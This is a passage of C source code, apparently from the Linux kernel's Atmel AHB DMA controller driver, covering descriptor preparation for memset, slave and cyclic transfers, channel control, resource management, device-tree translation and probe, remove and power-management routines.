}
vaddr = dma_pool_alloc(atdma->memset_pool, GFP_ATOMIC, &paddr);
if (!vaddr) {
dev_err(chan2dev(chan), "%s: couldn't allocate buffer\n",
__func__);
return NULL;
}
*(u32*)vaddr = value;
for_each_sg(sgl, sg, sg_len, i) {
dma_addr_t dest = sg_dma_address(sg);
size_t len = sg_dma_len(sg);
dev_vdbg(chan2dev(chan), "%s: d%pad, l0x%zx\n",
__func__, &dest, len);
if (!is_dma_fill_aligned(chan->device, dest, 0, len)) {
dev_err(chan2dev(chan), "%s: buffer is not aligned\n",
__func__);
goto err_put_desc;
}
desc = atc_create_memset_desc(chan, paddr, dest, len);
if (!desc)
goto err_put_desc;
atc_desc_chain(&first, &prev, desc);
total_len += len;
}
/*
* Only set the buffer pointers on the last descriptor to
* avoid free'ing while we have our transfer still going
*/
desc->memset_paddr = paddr;
desc->memset_vaddr = vaddr;
desc->memset_buffer = true;
first->txd.cookie = -EBUSY;
first->total_len = total_len;
/* set end-of-link on the descriptor */
set_desc_eol(desc);
first->txd.flags = flags;
return &first->txd;
err_put_desc:
atc_desc_put(atchan, first);
return NULL;
}
/**
* atc_prep_slave_sg - prepare descriptors for a DMA_SLAVE transaction
* @chan: DMA channel
* @sgl: scatterlist to transfer to/from
* @sg_len: number of entries in @scatterlist
* @direction: DMA direction
* @flags: tx descriptor status flags
* @context: transaction context (ignored)
*/
static struct dma_async_tx_descriptor *
atc_prep_slave_sg(struct dma_chan *chan, struct scatterlist *sgl,
unsigned int sg_len, enum dma_transfer_direction direction,
unsigned long flags, void *context)
{
struct at_dma_chan *atchan = to_at_dma_chan(chan);
struct at_dma_slave *atslave = chan->private;
struct dma_slave_config *sconfig = &atchan->dma_sconfig;
struct at_desc *first = NULL;
struct at_desc *prev = NULL;
u32 ctrla;
u32 ctrlb;
dma_addr_t reg;
unsigned int reg_width;
unsigned int mem_width;
unsigned int i;
struct scatterlist *sg;
size_t total_len = 0;
dev_vdbg(chan2dev(chan), "prep_slave_sg (%d): %s f0x%lx\n",
sg_len,
direction == DMA_MEM_TO_DEV ? "TO DEVICE" : "FROM DEVICE",
flags);
if (unlikely(!atslave || !sg_len)) {
dev_dbg(chan2dev(chan), "prep_slave_sg: sg length is zero!\n");
return NULL;
}
ctrla = ATC_SCSIZE(sconfig->src_maxburst)
| ATC_DCSIZE(sconfig->dst_maxburst);
ctrlb = ATC_IEN;
switch (direction) {
case DMA_MEM_TO_DEV:
reg_width = convert_buswidth(sconfig->dst_addr_width);
ctrla |= ATC_DST_WIDTH(reg_width);
ctrlb |= ATC_DST_ADDR_MODE_FIXED
| ATC_SRC_ADDR_MODE_INCR
| ATC_FC_MEM2PER
| ATC_SIF(atchan->mem_if) | ATC_DIF(atchan->per_if);
reg = sconfig->dst_addr;
for_each_sg(sgl, sg, sg_len, i) {
struct at_desc *desc;
u32 len;
u32 mem;
desc = atc_desc_get(atchan);
if (!desc)
goto err_desc_get;
mem = sg_dma_address(sg);
len = sg_dma_len(sg);
if (unlikely(!len)) {
dev_dbg(chan2dev(chan),
"prep_slave_sg: sg(%d) data length is zero\n", i);
goto err;
}
mem_width = 2;
if (unlikely(mem & 3 || len & 3))
mem_width = 0;
desc->lli.saddr = mem;
desc->lli.daddr = reg;
desc->lli.ctrla = ctrla
| ATC_SRC_WIDTH(mem_width)
| len >> mem_width;
desc->lli.ctrlb = ctrlb;
desc->len = len;
atc_desc_chain(&first, &prev, desc);
total_len += len;
}
break;
case DMA_DEV_TO_MEM:
reg_width = convert_buswidth(sconfig->src_addr_width);
ctrla |= ATC_SRC_WIDTH(reg_width);
ctrlb |= ATC_DST_ADDR_MODE_INCR
| ATC_SRC_ADDR_MODE_FIXED
| ATC_FC_PER2MEM
| ATC_SIF(atchan->per_if) | ATC_DIF(atchan->mem_if);
reg = sconfig->src_addr;
for_each_sg(sgl, sg, sg_len, i) {
struct at_desc *desc;
u32 len;
u32 mem;
desc = atc_desc_get(atchan);
if (!desc)
goto err_desc_get;
mem = sg_dma_address(sg);
len = sg_dma_len(sg);
if (unlikely(!len)) {
dev_dbg(chan2dev(chan),
"prep_slave_sg: sg(%d) data length is zero\n", i);
goto err;
}
mem_width = 2;
if (unlikely(mem & 3 || len & 3))
mem_width = 0;
desc->lli.saddr = reg;
desc->lli.daddr = mem;
desc->lli.ctrla = ctrla
| ATC_DST_WIDTH(mem_width)
| len >> reg_width;
desc->lli.ctrlb = ctrlb;
desc->len = len;
atc_desc_chain(&first, &prev, desc);
total_len += len;
}
break;
default:
return NULL;
}
/* set end-of-link to the last link descriptor of list*/
set_desc_eol(prev);
/* First descriptor of the chain embedds additional information */
first->txd.cookie = -EBUSY;
first->total_len = total_len;
/* first link descriptor of list is responsible of flags */
first->txd.flags = flags; /* client is in control of this ack */
return &first->txd;
err_desc_get:
dev_err(chan2dev(chan), "not enough descriptors available\n");
err:
atc_desc_put(atchan, first);
return NULL;
}
/**
* atc_dma_cyclic_check_values
* Check for too big/unaligned periods and unaligned DMA buffer
*/
static int
atc_dma_cyclic_check_values(unsigned int reg_width, dma_addr_t buf_addr,
size_t period_len)
{
if (period_len > (ATC_BTSIZE_MAX << reg_width))
goto err_out;
if (unlikely(period_len & ((1 << reg_width) - 1)))
goto err_out;
if (unlikely(buf_addr & ((1 << reg_width) - 1)))
goto err_out;
return 0;
err_out:
return -EINVAL;
}
/**
* atc_dma_cyclic_fill_desc - Fill one period descriptor
*/
static int
atc_dma_cyclic_fill_desc(struct dma_chan *chan, struct at_desc *desc,
unsigned int period_index, dma_addr_t buf_addr,
unsigned int reg_width, size_t period_len,
enum dma_transfer_direction direction)
{
struct at_dma_chan *atchan = to_at_dma_chan(chan);
struct dma_slave_config *sconfig = &atchan->dma_sconfig;
u32 ctrla;
/* prepare common CRTLA value */
ctrla = ATC_SCSIZE(sconfig->src_maxburst)
| ATC_DCSIZE(sconfig->dst_maxburst)
| ATC_DST_WIDTH(reg_width)
| ATC_SRC_WIDTH(reg_width)
| period_len >> reg_width;
switch (direction) {
case DMA_MEM_TO_DEV:
desc->lli.saddr = buf_addr + (period_len * period_index);
desc->lli.daddr = sconfig->dst_addr;
desc->lli.ctrla = ctrla;
desc->lli.ctrlb = ATC_DST_ADDR_MODE_FIXED
| ATC_SRC_ADDR_MODE_INCR
| ATC_FC_MEM2PER
| ATC_SIF(atchan->mem_if)
| ATC_DIF(atchan->per_if);
desc->len = period_len;
break;
case DMA_DEV_TO_MEM:
desc->lli.saddr = sconfig->src_addr;
desc->lli.daddr = buf_addr + (period_len * period_index);
desc->lli.ctrla = ctrla;
desc->lli.ctrlb = ATC_DST_ADDR_MODE_INCR
| ATC_SRC_ADDR_MODE_FIXED
| ATC_FC_PER2MEM
| ATC_SIF(atchan->per_if)
| ATC_DIF(atchan->mem_if);
desc->len = period_len;
break;
default:
return -EINVAL;
}
return 0;
}
/**
* atc_prep_dma_cyclic - prepare the cyclic DMA transfer
* @chan: the DMA channel to prepare
* @buf_addr: physical DMA address where the buffer starts
* @buf_len: total number of bytes for the entire buffer
* @period_len: number of bytes for each period
* @direction: transfer direction, to or from device
* @flags: tx descriptor status flags
*/
static struct dma_async_tx_descriptor *
atc_prep_dma_cyclic(struct dma_chan *chan, dma_addr_t buf_addr, size_t buf_len,
size_t period_len, enum dma_transfer_direction direction,
unsigned long flags)
{
struct at_dma_chan *atchan = to_at_dma_chan(chan);
struct at_dma_slave *atslave = chan->private;
struct dma_slave_config *sconfig = &atchan->dma_sconfig;
struct at_desc *first = NULL;
struct at_desc *prev = NULL;
unsigned long was_cyclic;
unsigned int reg_width;
unsigned int periods = buf_len / period_len;
unsigned int i;
dev_vdbg(chan2dev(chan), "prep_dma_cyclic: %s buf@%pad - %d (%d/%d)\n",
direction == DMA_MEM_TO_DEV ? "TO DEVICE" : "FROM DEVICE",
&buf_addr,
periods, buf_len, period_len);
if (unlikely(!atslave || !buf_len || !period_len)) {
dev_dbg(chan2dev(chan), "prep_dma_cyclic: length is zero!\n");
return NULL;
}
was_cyclic = test_and_set_bit(ATC_IS_CYCLIC, &atchan->status);
if (was_cyclic) {
dev_dbg(chan2dev(chan), "prep_dma_cyclic: channel in use!\n");
return NULL;
}
if (unlikely(!is_slave_direction(direction)))
goto err_out;
if (direction == DMA_MEM_TO_DEV)
reg_width = convert_buswidth(sconfig->dst_addr_width);
else
reg_width = convert_buswidth(sconfig->src_addr_width);
/* Check for too big/unaligned periods and unaligned DMA buffer */
if (atc_dma_cyclic_check_values(reg_width, buf_addr, period_len))
goto err_out;
/* build cyclic linked list */
for (i = 0; i < periods; i++) {
struct at_desc *desc;
desc = atc_desc_get(atchan);
if (!desc)
goto err_desc_get;
if (atc_dma_cyclic_fill_desc(chan, desc, i, buf_addr,
reg_width, period_len, direction))
goto err_desc_get;
atc_desc_chain(&first, &prev, desc);
}
/* lets make a cyclic list */
prev->lli.dscr = first->txd.phys;
/* First descriptor of the chain embedds additional information */
first->txd.cookie = -EBUSY;
first->total_len = buf_len;
return &first->txd;
err_desc_get:
dev_err(chan2dev(chan), "not enough descriptors available\n");
atc_desc_put(atchan, first);
err_out:
clear_bit(ATC_IS_CYCLIC, &atchan->status);
return NULL;
}
static int atc_config(struct dma_chan *chan,
struct dma_slave_config *sconfig)
{
struct at_dma_chan *atchan = to_at_dma_chan(chan);
dev_vdbg(chan2dev(chan), "%s\n", __func__);
/* Check if it is chan is configured for slave transfers */
if (!chan->private)
return -EINVAL;
memcpy(&atchan->dma_sconfig, sconfig, sizeof(*sconfig));
convert_burst(&atchan->dma_sconfig.src_maxburst);
convert_burst(&atchan->dma_sconfig.dst_maxburst);
return 0;
}
static int atc_pause(struct dma_chan *chan)
{
struct at_dma_chan *atchan = to_at_dma_chan(chan);
struct at_dma *atdma = to_at_dma(chan->device);
int chan_id = atchan->chan_common.chan_id;
unsigned long flags;
LIST_HEAD(list);
dev_vdbg(chan2dev(chan), "%s\n", __func__);
spin_lock_irqsave(&atchan->lock, flags);
dma_writel(atdma, CHER, AT_DMA_SUSP(chan_id));
set_bit(ATC_IS_PAUSED, &atchan->status);
spin_unlock_irqrestore(&atchan->lock, flags);
return 0;
}
static int atc_resume(struct dma_chan *chan)
{
struct at_dma_chan *atchan = to_at_dma_chan(chan);
struct at_dma *atdma = to_at_dma(chan->device);
int chan_id = atchan->chan_common.chan_id;
unsigned long flags;
LIST_HEAD(list);
dev_vdbg(chan2dev(chan), "%s\n", __func__);
if (!atc_chan_is_paused(atchan))
return 0;
spin_lock_irqsave(&atchan->lock, flags);
dma_writel(atdma, CHDR, AT_DMA_RES(chan_id));
clear_bit(ATC_IS_PAUSED, &atchan->status);
spin_unlock_irqrestore(&atchan->lock, flags);
return 0;
}
static int atc_terminate_all(struct dma_chan *chan)
{
struct at_dma_chan *atchan = to_at_dma_chan(chan);
struct at_dma *atdma = to_at_dma(chan->device);
int chan_id = atchan->chan_common.chan_id;
struct at_desc *desc, *_desc;
unsigned long flags;
LIST_HEAD(list);
dev_vdbg(chan2dev(chan), "%s\n", __func__);
/*
* This is only called when something went wrong elsewhere, so
* we don't really care about the data. Just disable the
* channel. We still have to poll the channel enable bit due
* to AHB/HSB limitations.
*/
spin_lock_irqsave(&atchan->lock, flags);
/* disabling channel: must also remove suspend state */
dma_writel(atdma, CHDR, AT_DMA_RES(chan_id) | atchan->mask);
/* confirm that this channel is disabled */
while (dma_readl(atdma, CHSR) & atchan->mask)
cpu_relax();
/* active_list entries will end up before queued entries */
list_splice_init(&atchan->queue, &list);
list_splice_init(&atchan->active_list, &list);
/* Flush all pending and queued descriptors */
list_for_each_entry_safe(desc, _desc, &list, desc_node)
atc_chain_complete(atchan, desc);
clear_bit(ATC_IS_PAUSED, &atchan->status);
/* if channel dedicated to cyclic operations, free it */
clear_bit(ATC_IS_CYCLIC, &atchan->status);
spin_unlock_irqrestore(&atchan->lock, flags);
return 0;
}
/**
* atc_tx_status - poll for transaction completion
* @chan: DMA channel
* @cookie: transaction identifier to check status of
* @txstate: if not %NULL updated with transaction state
*
* If @txstate is passed in, upon return it reflect the driver
* internal state and can be used with dma_async_is_complete() to check
* the status of multiple cookies without re-checking hardware state.
*/
static enum dma_status
atc_tx_status(struct dma_chan *chan,
dma_cookie_t cookie,
struct dma_tx_state *txstate)
{
struct at_dma_chan *atchan = to_at_dma_chan(chan);
unsigned long flags;
enum dma_status ret;
int bytes = 0;
ret = dma_cookie_status(chan, cookie, txstate);
if (ret == DMA_COMPLETE)
return ret;
/*
* There's no point calculating the residue if there's
* no txstate to store the value.
*/
if (!txstate)
return DMA_ERROR;
spin_lock_irqsave(&atchan->lock, flags);
/* Get number of bytes left in the active transactions */
bytes = atc_get_bytes_left(chan, cookie);
spin_unlock_irqrestore(&atchan->lock, flags);
if (unlikely(bytes < 0)) {
dev_vdbg(chan2dev(chan), "get residual bytes error\n");
return DMA_ERROR;
} else {
dma_set_residue(txstate, bytes);
}
dev_vdbg(chan2dev(chan), "tx_status %d: cookie = %d residue = %d\n",
ret, cookie, bytes);
return ret;
}
/**
* atc_issue_pending - try to finish work
* @chan: target DMA channel
*/
static void atc_issue_pending(struct dma_chan *chan)
{
struct at_dma_chan *atchan = to_at_dma_chan(chan);
unsigned long flags;
dev_vdbg(chan2dev(chan), "issue_pending\n");
/* Not needed for cyclic transfers */
if (atc_chan_is_cyclic(atchan))
return;
spin_lock_irqsave(&atchan->lock, flags);
atc_advance_work(atchan);
spin_unlock_irqrestore(&atchan->lock, flags);
}
/**
* atc_alloc_chan_resources - allocate resources for DMA channel
* @chan: allocate descriptor resources for this channel
* @client: current client requesting the channel be ready for requests
*
* return - the number of allocated descriptors
*/
static int atc_alloc_chan_resources(struct dma_chan *chan)
{
struct at_dma_chan *atchan = to_at_dma_chan(chan);
struct at_dma *atdma = to_at_dma(chan->device);
struct at_desc *desc;
struct at_dma_slave *atslave;
unsigned long flags;
int i;
u32 cfg;
LIST_HEAD(tmp_list);
dev_vdbg(chan2dev(chan), "alloc_chan_resources\n");
/* ASSERT: channel is idle */
if (atc_chan_is_enabled(atchan)) {
dev_dbg(chan2dev(chan), "DMA channel not idle ?\n");
return -EIO;
}
cfg = ATC_DEFAULT_CFG;
atslave = chan->private;
if (atslave) {
/*
* We need controller-specific data to set up slave
* transfers.
*/
BUG_ON(!atslave->dma_dev || atslave->dma_dev != atdma->dma_common.dev);
/* if cfg configuration specified take it instead of default */
if (atslave->cfg)
cfg = atslave->cfg;
}
/* have we already been set up?
* reconfigure channel but no need to reallocate descriptors */
if (!list_empty(&atchan->free_list))
return atchan->descs_allocated;
/* Allocate initial pool of descriptors */
for (i = 0; i < init_nr_desc_per_channel; i++) {
desc = atc_alloc_descriptor(chan, GFP_KERNEL);
if (!desc) {
dev_err(atdma->dma_common.dev,
"Only %d initial descriptors\n", i);
break;
}
list_add_tail(&desc->desc_node, &tmp_list);
}
spin_lock_irqsave(&atchan->lock, flags);
atchan->descs_allocated = i;
list_splice(&tmp_list, &atchan->free_list);
dma_cookie_init(chan);
spin_unlock_irqrestore(&atchan->lock, flags);
/* channel parameters */
channel_writel(atchan, CFG, cfg);
dev_dbg(chan2dev(chan),
"alloc_chan_resources: allocated %d descriptors\n",
atchan->descs_allocated);
return atchan->descs_allocated;
}
/**
* atc_free_chan_resources - free all channel resources
* @chan: DMA channel
*/
static void atc_free_chan_resources(struct dma_chan *chan)
{
struct at_dma_chan *atchan = to_at_dma_chan(chan);
struct at_dma *atdma = to_at_dma(chan->device);
struct at_desc *desc, *_desc;
LIST_HEAD(list);
dev_dbg(chan2dev(chan), "free_chan_resources: (descs allocated=%u)\n",
atchan->descs_allocated);
/* ASSERT: channel is idle */
BUG_ON(!list_empty(&atchan->active_list));
BUG_ON(!list_empty(&atchan->queue));
BUG_ON(atc_chan_is_enabled(atchan));
list_for_each_entry_safe(desc, _desc, &atchan->free_list, desc_node) {
dev_vdbg(chan2dev(chan), " freeing descriptor %p\n", desc);
list_del(&desc->desc_node);
/* free link descriptor */
dma_pool_free(atdma->dma_desc_pool, desc, desc->txd.phys);
}
list_splice_init(&atchan->free_list, &list);
atchan->descs_allocated = 0;
atchan->status = 0;
/*
* Free atslave allocated in at_dma_xlate()
*/
kfree(chan->private);
chan->private = NULL;
dev_vdbg(chan2dev(chan), "free_chan_resources: done\n");
}
#ifdef CONFIG_OF
static bool at_dma_filter(struct dma_chan *chan, void *slave)
{
struct at_dma_slave *atslave = slave;
if (atslave->dma_dev == chan->device->dev) {
chan->private = atslave;
return true;
} else {
return false;
}
}
static struct dma_chan *at_dma_xlate(struct of_phandle_args *dma_spec,
struct of_dma *of_dma)
{
struct dma_chan *chan;
struct at_dma_chan *atchan;
struct at_dma_slave *atslave;
dma_cap_mask_t mask;
unsigned int per_id;
struct platform_device *dmac_pdev;
if (dma_spec->args_count != 2)
return NULL;
dmac_pdev = of_find_device_by_node(dma_spec->np);
dma_cap_zero(mask);
dma_cap_set(DMA_SLAVE, mask);
atslave = kzalloc(sizeof(*atslave), GFP_KERNEL);
if (!atslave)
return NULL;
atslave->cfg = ATC_DST_H2SEL_HW | ATC_SRC_H2SEL_HW;
/*
* We can fill both SRC_PER and DST_PER, one of these fields will be
* ignored depending on DMA transfer direction.
*/
per_id = dma_spec->args[1] & AT91_DMA_CFG_PER_ID_MASK;
atslave->cfg |= ATC_DST_PER_MSB(per_id) | ATC_DST_PER(per_id)
| ATC_SRC_PER_MSB(per_id) | ATC_SRC_PER(per_id);
/*
* We have to translate the value we get from the device tree since
* the half FIFO configuration value had to be 0 to keep backward
* compatibility.
*/
switch (dma_spec->args[1] & AT91_DMA_CFG_FIFOCFG_MASK) {
case AT91_DMA_CFG_FIFOCFG_ALAP:
atslave->cfg |= ATC_FIFOCFG_LARGESTBURST;
break;
case AT91_DMA_CFG_FIFOCFG_ASAP:
atslave->cfg |= ATC_FIFOCFG_ENOUGHSPACE;
break;
case AT91_DMA_CFG_FIFOCFG_HALF:
default:
atslave->cfg |= ATC_FIFOCFG_HALFFIFO;
}
atslave->dma_dev = &dmac_pdev->dev;
chan = dma_request_channel(mask, at_dma_filter, atslave);
if (!chan)
return NULL;
atchan = to_at_dma_chan(chan);
atchan->per_if = dma_spec->args[0] & 0xff;
atchan->mem_if = (dma_spec->args[0] >> 16) & 0xff;
return chan;
}
#else
static struct dma_chan *at_dma_xlate(struct of_phandle_args *dma_spec,
struct of_dma *of_dma)
{
return NULL;
}
#endif
/*-- Module Management -----------------------------------------------*/
/* cap_mask is a multi-u32 bitfield, fill it with proper C code. */
static struct at_dma_platform_data at91sam9rl_config = {
.nr_channels = 2,
};
static struct at_dma_platform_data at91sam9g45_config = {
.nr_channels = 8,
};
#if defined(CONFIG_OF)
static const struct of_device_id atmel_dma_dt_ids[] = {
{
.compatible = "atmel,at91sam9rl-dma",
.data = &at91sam9rl_config,
}, {
.compatible = "atmel,at91sam9g45-dma",
.data = &at91sam9g45_config,
}, {
/* sentinel */
}
};
MODULE_DEVICE_TABLE(of, atmel_dma_dt_ids);
#endif
static const struct platform_device_id atdma_devtypes[] = {
{
.name = "at91sam9rl_dma",
.driver_data = (unsigned long) &at91sam9rl_config,
}, {
.name = "at91sam9g45_dma",
.driver_data = (unsigned long) &at91sam9g45_config,
}, {
/* sentinel */
}
};
static inline const struct at_dma_platform_data * __init at_dma_get_driver_data(
struct platform_device *pdev)
{
if (pdev->dev.of_node) {
const struct of_device_id *match;
match = of_match_node(atmel_dma_dt_ids, pdev->dev.of_node);
if (match == NULL)
return NULL;
return match->data;
}
return (struct at_dma_platform_data *)
platform_get_device_id(pdev)->driver_data;
}
/**
* at_dma_off - disable DMA controller
* @atdma: the Atmel HDAMC device
*/
static void at_dma_off(struct at_dma *atdma)
{
dma_writel(atdma, EN, 0);
/* disable all interrupts */
dma_writel(atdma, EBCIDR, -1L);
/* confirm that all channels are disabled */
while (dma_readl(atdma, CHSR) & atdma->all_chan_mask)
cpu_relax();
}
static int __init at_dma_probe(struct platform_device *pdev)
{
struct resource *io;
struct at_dma *atdma;
size_t size;
int irq;
int err;
int i;
const struct at_dma_platform_data *plat_dat;
/* setup platform data for each SoC */
dma_cap_set(DMA_MEMCPY, at91sam9rl_config.cap_mask);
dma_cap_set(DMA_INTERLEAVE, at91sam9g45_config.cap_mask);
dma_cap_set(DMA_MEMCPY, at91sam9g45_config.cap_mask);
dma_cap_set(DMA_MEMSET, at91sam9g45_config.cap_mask);
dma_cap_set(DMA_MEMSET_SG, at91sam9g45_config.cap_mask);
dma_cap_set(DMA_PRIVATE, at91sam9g45_config.cap_mask);
dma_cap_set(DMA_SLAVE, at91sam9g45_config.cap_mask);
/* get DMA parameters from controller type */
plat_dat = at_dma_get_driver_data(pdev);
if (!plat_dat)
return -ENODEV;
io = platform_get_resource(pdev, IORESOURCE_MEM, 0);
if (!io)
return -EINVAL;
irq = platform_get_irq(pdev, 0);
if (irq < 0)
return irq;
size = sizeof(struct at_dma);
size += plat_dat->nr_channels * sizeof(struct at_dma_chan);
atdma = kzalloc(size, GFP_KERNEL);
if (!atdma)
return -ENOMEM;
/* discover transaction capabilities */
atdma->dma_common.cap_mask = plat_dat->cap_mask;
atdma->all_chan_mask = (1 << plat_dat->nr_channels) - 1;
size = resource_size(io);
if (!request_mem_region(io->start, size, pdev->dev.driver->name)) {
err = -EBUSY;
goto err_kfree;
}
atdma->regs = ioremap(io->start, size);
if (!atdma->regs) {
err = -ENOMEM;
goto err_release_r;
}
atdma->clk = clk_get(&pdev->dev, "dma_clk");
if (IS_ERR(atdma->clk)) {
err = PTR_ERR(atdma->clk);
goto err_clk;
}
err = clk_prepare_enable(atdma->clk);
if (err)
goto err_clk_prepare;
/* force dma off, just in case */
at_dma_off(atdma);
err = request_irq(irq, at_dma_interrupt, 0, "at_hdmac", atdma);
if (err)
goto err_irq;
platform_set_drvdata(pdev, atdma);
/* create a pool of consistent memory blocks for hardware descriptors */
atdma->dma_desc_pool = dma_pool_create("at_hdmac_desc_pool",
&pdev->dev, sizeof(struct at_desc),
4 /* word alignment */, 0);
if (!atdma->dma_desc_pool) {
dev_err(&pdev->dev, "No memory for descriptors dma pool\n");
err = -ENOMEM;
goto err_desc_pool_create;
}
/* create a pool of consistent memory blocks for memset blocks */
atdma->memset_pool = dma_pool_create("at_hdmac_memset_pool",
&pdev->dev, sizeof(int), 4, 0);
if (!atdma->memset_pool) {
dev_err(&pdev->dev, "No memory for memset dma pool\n");
err = -ENOMEM;
goto err_memset_pool_create;
}
/* clear any pending interrupt */
while (dma_readl(atdma, EBCISR))
cpu_relax();
/* initialize channels related values */
INIT_LIST_HEAD(&atdma->dma_common.channels);
for (i = 0; i < plat_dat->nr_channels; i++) {
struct at_dma_chan *atchan = &atdma->chan[i];
atchan->mem_if = AT_DMA_MEM_IF;
atchan->per_if = AT_DMA_PER_IF;
atchan->chan_common.device = &atdma->dma_common;
dma_cookie_init(&atchan->chan_common);
list_add_tail(&atchan->chan_common.device_node,
&atdma->dma_common.channels);
atchan->ch_regs = atdma->regs + ch_regs(i);
spin_lock_init(&atchan->lock);
atchan->mask = 1 << i;
INIT_LIST_HEAD(&atchan->active_list);
INIT_LIST_HEAD(&atchan->queue);
INIT_LIST_HEAD(&atchan->free_list);
tasklet_init(&atchan->tasklet, atc_tasklet,
(unsigned long)atchan);
atc_enable_chan_irq(atdma, i);
}
/* set base routines */
atdma->dma_common.device_alloc_chan_resources = atc_alloc_chan_resources;
atdma->dma_common.device_free_chan_resources = atc_free_chan_resources;
atdma->dma_common.device_tx_status = atc_tx_status;
atdma->dma_common.device_issue_pending = atc_issue_pending;
atdma->dma_common.dev = &pdev->dev;
/* set prep routines based on capability */
if (dma_has_cap(DMA_INTERLEAVE, atdma->dma_common.cap_mask))
atdma->dma_common.device_prep_interleaved_dma = atc_prep_dma_interleaved;
if (dma_has_cap(DMA_MEMCPY, atdma->dma_common.cap_mask))
atdma->dma_common.device_prep_dma_memcpy = atc_prep_dma_memcpy;
if (dma_has_cap(DMA_MEMSET, atdma->dma_common.cap_mask)) {
atdma->dma_common.device_prep_dma_memset = atc_prep_dma_memset;
atdma->dma_common.device_prep_dma_memset_sg = atc_prep_dma_memset_sg;
atdma->dma_common.fill_align = DMAENGINE_ALIGN_4_BYTES;
}
if (dma_has_cap(DMA_SLAVE, atdma->dma_common.cap_mask)) {
atdma->dma_common.device_prep_slave_sg = atc_prep_slave_sg;
/* controller can do slave DMA: can trigger cyclic transfers */
dma_cap_set(DMA_CYCLIC, atdma->dma_common.cap_mask);
atdma->dma_common.device_prep_dma_cyclic = atc_prep_dma_cyclic;
atdma->dma_common.device_config = atc_config;
atdma->dma_common.device_pause = atc_pause;
atdma->dma_common.device_resume = atc_resume;
atdma->dma_common.device_terminate_all = atc_terminate_all;
atdma->dma_common.src_addr_widths = ATC_DMA_BUSWIDTHS;
atdma->dma_common.dst_addr_widths = ATC_DMA_BUSWIDTHS;
atdma->dma_common.directions = BIT(DMA_DEV_TO_MEM) | BIT(DMA_MEM_TO_DEV);
atdma->dma_common.residue_granularity = DMA_RESIDUE_GRANULARITY_BURST;
}
dma_writel(atdma, EN, AT_DMA_ENABLE);
dev_info(&pdev->dev, "Atmel AHB DMA Controller ( %s%s%s), %d channels\n",
dma_has_cap(DMA_MEMCPY, atdma->dma_common.cap_mask) ? "cpy " : "",
dma_has_cap(DMA_MEMSET, atdma->dma_common.cap_mask) ? "set " : "",
dma_has_cap(DMA_SLAVE, atdma->dma_common.cap_mask) ? "slave " : "",
plat_dat->nr_channels);
dma_async_device_register(&atdma->dma_common);
/*
* Do not return an error if the dmac node is not present in order to
* not break the existing way of requesting channel with
* dma_request_channel().
*/
if (pdev->dev.of_node) {
err = of_dma_controller_register(pdev->dev.of_node,
at_dma_xlate, atdma);
if (err) {
dev_err(&pdev->dev, "could not register of_dma_controller\n");
goto err_of_dma_controller_register;
}
}
return 0;
err_of_dma_controller_register:
dma_async_device_unregister(&atdma->dma_common);
dma_pool_destroy(atdma->memset_pool);
err_memset_pool_create:
dma_pool_destroy(atdma->dma_desc_pool);
err_desc_pool_create:
free_irq(platform_get_irq(pdev, 0), atdma);
err_irq:
clk_disable_unprepare(atdma->clk);
err_clk_prepare:
clk_put(atdma->clk);
err_clk:
iounmap(atdma->regs);
atdma->regs = NULL;
err_release_r:
release_mem_region(io->start, size);
err_kfree:
kfree(atdma);
return err;
}
static int at_dma_remove(struct platform_device *pdev)
{
struct at_dma *atdma = platform_get_drvdata(pdev);
struct dma_chan *chan, *_chan;
struct resource *io;
at_dma_off(atdma);
if (pdev->dev.of_node)
of_dma_controller_free(pdev->dev.of_node);
dma_async_device_unregister(&atdma->dma_common);
dma_pool_destroy(atdma->memset_pool);
dma_pool_destroy(atdma->dma_desc_pool);
free_irq(platform_get_irq(pdev, 0), atdma);
list_for_each_entry_safe(chan, _chan, &atdma->dma_common.channels,
device_node) {
struct at_dma_chan *atchan = to_at_dma_chan(chan);
/* Disable interrupts */
atc_disable_chan_irq(atdma, chan->chan_id);
tasklet_kill(&atchan->tasklet);
list_del(&chan->device_node);
}
clk_disable_unprepare(atdma->clk);
clk_put(atdma->clk);
iounmap(atdma->regs);
atdma->regs = NULL;
io = platform_get_resource(pdev, IORESOURCE_MEM, 0);
release_mem_region(io->start, resource_size(io));
kfree(atdma);
return 0;
}
static void at_dma_shutdown(struct platform_device *pdev)
{
struct at_dma *atdma = platform_get_drvdata(pdev);
at_dma_off(platform_get_drvdata(pdev));
clk_disable_unprepare(atdma->clk);
}
static int at_dma_prepare(struct device *dev)
{
struct at_dma *atdma = dev_get_drvdata(dev);
struct dma_chan *chan, *_chan;
list_for_each_entry_safe(chan, _chan, &atdma->dma_common.channels,
device_node) {
struct at_dma_chan *atchan = to_at_dma_chan(chan);
/* wait for transaction completion (except in cyclic case) */
if (atc_chan_is_enabled(atchan) && !atc_chan_is_cyclic(atchan))
return -EAGAIN;
}
return 0;
}
static void atc_suspend_cyclic(struct at_dma_chan *atchan)
{
struct dma_chan *chan = &atchan->chan_common;
/* Channel should be paused by user
* do it anyway even if it is not done already */
if (!atc_chan_is_paused(atchan)) {
dev_warn(chan2dev(chan),
"cyclic channel not paused, should be done by channel user\n");
atc_pause(chan);
}
/* now preserve additional data for cyclic operations */
/* next descriptor address in the cyclic list */
atchan->save_dscr = channel_readl(atchan, DSCR);
vdbg_dump_regs(atchan);
}
static int at_dma_suspend_noirq(struct device *dev)
{
struct at_dma *atdma = dev_get_drvdata(dev);
struct dma_chan *chan, *_chan;
/* preserve data */
list_for_each_entry_safe(chan, _chan, &atdma->dma_common.channels,
device_node) {
struct at_dma_chan *atchan = to_at_dma_chan(chan);
if (atc_chan_is_cyclic(atchan))
atc_suspend_cyclic(atchan);
atchan->save_cfg = channel_readl(atchan, CFG);
}
atdma->save_imr = dma_readl(atdma, EBCIMR);
/* disable DMA controller */
at_dma_off(atdma);
clk_disable_unprepare(atdma->clk);
return 0;
}
static void atc_resume_cyclic(struct at_dma_chan *atchan)
{
struct at_dma *atdma = to_at_dma(atchan->chan_common.device);
/* restore channel status for cyclic descriptors list:
* next descriptor in the cyclic list at the time of suspend */
channel_writel(atchan, SADDR, 0);
channel_writel(atchan, DADDR, 0);
channel_writel(atchan, CTRLA, 0);
channel_writel(atchan, CTRLB, 0);
channel_writel(atchan, DSCR, atchan->save_dscr);
dma_writel(atdma, CHER, atchan->mask);
/* channel pause status should be removed by channel user
* We cannot take the initiative to do it here */
vdbg_dump_regs(atchan);
}
static int at_dma_resume_noirq(struct device *dev)
{
struct at_dma *atdma = dev_get_drvdata(dev);
struct dma_chan *chan, *_chan;
/* bring back DMA controller */
clk_prepare_enable(atdma->clk);
dma_writel(atdma, EN, AT_DMA_ENABLE);
/* clear any pending interrupt */
